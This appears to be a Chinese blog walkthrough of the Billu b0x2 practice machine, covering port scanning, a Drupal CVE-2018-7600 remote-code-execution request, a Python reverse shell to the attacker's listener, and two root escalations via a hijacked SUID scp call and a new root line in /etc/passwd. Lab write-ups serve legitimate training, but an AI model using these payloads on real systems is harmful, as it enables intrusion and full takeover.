【学渗透靶机——Billu b0x2】

信息收集

主机信息收集

主机ip

nmap -sn 192.168.241.1/24

在这里插入图片描述

主机开放端口

nmap --min-rate 10000 -r -p- 192.168.241.168

在这里插入图片描述

主机开放端口详细版本

sudo nmap -sT -sV -O -p22,80,111,8080,60947  192.168.241.168

在这里插入图片描述

nmap 漏洞扫描

http-enum:                                                     
|   /rss.xml: RSS or Atom feed                                   
|   /robots.txt: Robots file                                     
|   /: Drupal version 8                                          
|   /README.txt: Interesting, a readme.                          
|_  /contact/: Potentially interesting folder                    
111/tcp   open   rpcbind                                         
8080/tcp  open   http-proxy                                      
| http-enum:                                                     
|   /manager/html/upload: Apache Tomcat (401 Unauthorized)                                                                         
|_  /manager/html: Apache Tomcat (401 Unauthorized)   

nmap 漏洞扫描结果 只发现了几个枚举信息,并没有可以直接利用得漏洞,

web 信息收集

80端口

访问80端口发现这个网站底部有个Powered by Drupal ,判断网站使用 Drupal CMS框架 ,看看能不能找到版本,是否可通过版本作为突破

在这里插入图片描述

查看http://192.168.241.168/ 源代码 发现网站使用Drupal CMS框架 的版本8 ,
在这里插入图片描述

我们知道在Drupal CMS框架 的安装路径上会显示版本信息,果不其然 ,是存在的Drupal CMS框架 的版本为8.3.5
在这里插入图片描述

在kali 上 searchsploit 漏洞库搜索一下,Drupal CMS有没有可利用的漏洞
在这里插入图片描述
查看这个脚本发现利用的CVE-2018-7600代码执行漏洞,注入点路径如下:

/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

抓包访问

http://192.168.241.157/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

复制如下poc 到 请求包中 修改靶机地址即可

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 118.193.36.37:19617
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

在这里插入图片描述

获取系统初始立足点

利用代码执行查看是否安装python
在这里插入图片描述

写入反弹python shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.241.140",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击机监听:

nc -lvvp  4444

在这里插入图片描述

提权

信息收集

查看当前用户能够执行的特权命令

sud -l 需要密码,我们现在没有密码 暂时放弃

查看计划任务

计划任务暂时没发现什么东西

查看suid二进制文件

suid文件中惊喜发现/opt/s 这个是什么东西 ,

在这里插入图片描述
通过字符串工具查看发现里面有一条特殊的命令scp
在这里插入图片描述

提权一

: /ops/s 是带s位的,以root权限执行,那么我们尝试定义一个假的scp

-------------编辑代码-----------
cd /tmp 
---脚本------service.c-------
#include <stdio.h>
#include <stdlib.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash -p ");
}

-------编译-------------------
gcc -o service service.c
--------修改环境变量。以当前路径优先执行----------
export PATH=/tmp:$PATH
--------执行代码-------
执行ops/s

在这里插入图片描述
补充;
整体提权原理: 通过发现/opt/s拥有SUID权限,则其运行时进程并不属于发起者,而是文件所有者,这里是root。strings查看二进制发现s以root运行了scp这个命令,但是没有指定具体的文件路径,因此可以伪造一个假的scp并添加到环境变量,让s去以root运行/tmp中的假的scp,而假的scp中又写入了我们写的/bin/bash,相当于直接运行了sudo /bin/bash

提权二

发现/etc/passwd拥有777权限,尝试添加一个最高权限的admin用户,直接切过去即可
在这里插入图片描述

openssl passwd -1 -salt admin 123456
$1$admin$LClYcRe.ee8dQwgrFc5nz.

在/etc/passwd最后追加一行用户信息

admins:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:root:/root:/bin/bash

直接su admin输入密码123456即可提权成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值